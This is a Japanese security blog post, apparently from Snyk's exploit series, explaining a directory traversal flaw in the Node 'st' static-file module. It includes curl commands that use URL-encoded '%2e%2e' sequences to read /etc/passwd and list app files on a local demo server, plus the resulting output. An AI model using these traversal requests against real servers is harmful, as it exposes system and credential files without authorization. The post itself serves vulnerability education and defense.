Skip to main content

Snyking In:stパッケージのディレクトリトラバーサル脆弱性の悪用

Snyking in small

2019年2月25日

0 分で読めます

新たなエクスプロイトシリーズ「Snyking In」の第1回へようこそ。さまざまなセキュリティ脆弱性を取り上げ、悪用方法を実演するとともに、データやシステムにもたらす潜在的なリスクを解説します。各例では、リリース済みのバージョンのうち少なくとも1つに、実際にその種の脆弱性が存在するライブラリを使用します。

ご安心ください。解決策を示さずに終わることはありません。アプリケーションの脆弱性を見つけて修正する方法もご紹介します。それではさっそく、最初のエクスプロイト動画と、ディレクトリトラバーサル脆弱性についての詳しい説明をご覧ください。

ディレクトリトラバーサル

ディレクトリトラバーサル攻撃(パストラバーサルとも呼ばれます)は、想定されたフォルダの外部に保存されているファイルやディレクトリへのアクセスを狙います。「ドットドットスラッシュ(../)」の並びやそのバリエーションを使ってファイルパスを操作したり、絶対パスを指定したりすることで、アプリケーションのソースコードや設定ファイルなど、ファイルシステム上の任意のファイルやディレクトリにアクセスされる可能性があります。

ディレクトリトラバーサルの脆弱性は、一般に次の2種類に分類されます。

情報漏えい:攻撃者がフォルダ構造に関する情報を取得したり、システム上の機密ファイルの内容を読み取ったりできる脆弱性です。

任意ファイルの書き込み:攻撃者がファイルを新規作成したり、既存のファイルを置き換えたりできる脆弱性です。この種の脆弱性はZip Slipとも呼ばれます。

stにおけるディレクトリトラバーサル

stモジュールはWebページで静的ファイルを配信するもので、この種の脆弱性が含まれています。この例では、publicルートからファイルを配信します。

攻撃者がサーバーに次のURLをリクエストすると、そのマシンに保存された機密情報が漏えいします。%2eは.(ドット)をURLエンコードしたものです。

curl http://localhost:3001/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 

この種のディレクトリトラバーサルは情報漏えいの脆弱性であり、攻撃者が機密ファイルの内容を読み取ることができます。被害は、攻撃者がシステム上でアクセスできる情報に限られます。

stのエクスプロイト

上の動画では、ブラウザーが入力を正規化してしまうため、ターミナルウィンドウから攻撃を実行しています。最初のエクスプロイトでは、ドットドットスラッシュ形式を使ってpublicディレクトリの外へ移動しようとします。

curl http://localhost:3001/public/../

しかし、stライブラリはセキュリティ対策がしっかりしています。ドットドットスラッシュ形式のディレクトリトラバーサルは防御されます。ところが、前述のようにドットをURLエンコードすると、次のコマンドで脆弱性を悪用できてしまいます。

curl http://localhost:3001/public/%2e%2e/

出力から、package-lock.jsonファイルなどにアクセスできることがわかります。これにより、アプリケーションで使用されている他のモジュールやそのバージョンを確認できます。動画で実演しているように、ファイルシステムをさらに調べて/etc/passwdファイルを露出させるなど、より機密性の高い情報を探すこともできます。

<!doctype html>Index of<!doctype html>
../  
exploits/ 2018-11-22T11:36:32.894Z -  
goof/ 2018-06-19T12:09:39.211Z -  
node_modules/ 2019-02-21T11:51:45.792Z -  
public/ 2018-06-19T12:09:03.003Z -  
routes/ 2018-06-19T12:09:03.003Z -  
views/ 2018-06-19T12:09:03.004Z -  
app.js 2018-06-19T12:09:02.997Z 2152  
app.json 2018-06-19T12:09:02.997Z 267  
db.js 2018-06-19T12:09:02.997Z 1157  
GoofApp.zip 2018-09-11T07:21:58.433Z 14138285  
package-lock.json 2019-02-21T11:51:46.183Z 186799  
package.json 2018-11-06T18:59:57.850Z 1207  
README.md 2018-06-19T12:09:02.996Z 1815  
utils.js 2018-06-19T12:09:03.003Z 641

stなどのサードパーティライブラリに含まれる脆弱性をアプリケーションで検査するには、Snykを無料でお試しください。すぐに結果を確認できます。

キャプチャー・ザ・フラッグを始めよう

オンデマンドのバーチャル入門ワークショップを視聴して、キャプチャー・ザ・フラッグの課題の解き方を学びましょう。

カテゴリー: